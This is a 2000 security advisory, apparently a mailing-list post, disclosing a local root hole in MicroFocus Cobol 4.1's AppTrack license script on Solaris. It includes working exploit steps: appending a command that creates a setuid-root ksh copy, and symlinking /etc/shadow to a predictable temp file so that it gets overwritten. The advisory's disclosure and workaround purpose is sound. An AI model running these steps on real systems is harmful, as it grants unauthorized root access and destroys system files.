Security Hole in Microfocus Cobol

[Dixie Flatline <echo8 () FIREST0RM ORG>]

Summary
-------

If the AppTrack feature is enabled, the default install of MicroFocus
Cobol 4.1 (Merant's commercial suite of cobol utilities) contains a
security hole which can lead to root compromise.

Specifics
---------

In the default install, /var/mfaslmf is installed mode 777, and
/var/mfaslmf/nolicense is installed mode 666. nolicense also contains the
following:

# Append into a logfile
if test ! -f /var/mfaslmf/USERLOG
then
        touch /var/mfaslmf/USERLOG
        chmod 666 /var/mfaslmf/USERLOG
fi
echo `date`:No license  $* >> /var/mfaslmf/USERLOG

#mail a specified user (commented out by default. substitute the user
name)
echo `date`:No license  $* > /var/mfaslmf/tmpmess
# mail -s "No AS license"  user-name  < /var/mfaslmf/tmpmess
rm /var/mfaslmf/tmpmess

This presents two major types of problem:

* Because of the permissions on nolicense, unprivileged users can edit the
file to insert arbitrary commands into the script. Then, if AppTrack is
enabled (see below) and the trigger condition occurs (again, see below),
that code can be executed with superuser privileges.

* The use of predictably-named temporary files in a world-writeable
directory can allow local users to append, overwrite or destroy arbitrary
files, even if nolicense itself is made non-world-writeable.

Examples
--------

Of the first problem:

$ id
uid=500(echo8) gid=10(users)
$ cat >> /var/mfaslmf/nolicense
/bin/cp /bin/ksh /tmp; chmod 4755 /tmp/ksh
^D

# create a condition under which all available AS licenses are used up.
# This should not be difficult. When this occurs, /var/mfaslmf/nolicense
# will run.

$ ls -alt /tmp/ksh
-rwsr-xr-x   1 root     other     186356 Dec 26 17:04 /tmp/ksh
$  /tmp/ksh
# id
uid=500(echo8) gid=10(users) euid=0(root)
#

Of the second:

$ id
uid=500(echo8) gid=10(users)
$ cd /var/mfaslmf
$ ln -s /etc/shadow tmpmess

# Again, create a condition under which nolicense will run. This
# example will overwrite /etc/shadow.

$ cat /etc/shadow (would need to done as root, but you get the point...)
Tue Dec 26 17:08:45 EST 2000:No license
$

Conditions
----------

These holes can only be exploited if the AppTrack functionality is enabled.
This feature is off by default.

Vulnerable Versions
-------------------

4.1 for Solaris/sparc - only version tested.

Workarounds
-----------

Change the permissions on /var/mfaslmf and rewrite nolicense. According to
the documentation, nolicense is provided as "an example" and the user "can
edit the nolicense script to your requirements." IMO, example code with
serious security holes should NOT be distributed. If you don't need this
feature, delete the script. Regardless of whether or not you need AppTrack
to work, you should be able to change the permissions on /var/mfaslmf to
something safer.

Vendor Notification
-------------------

The vendor was notified on 12/26/2000.

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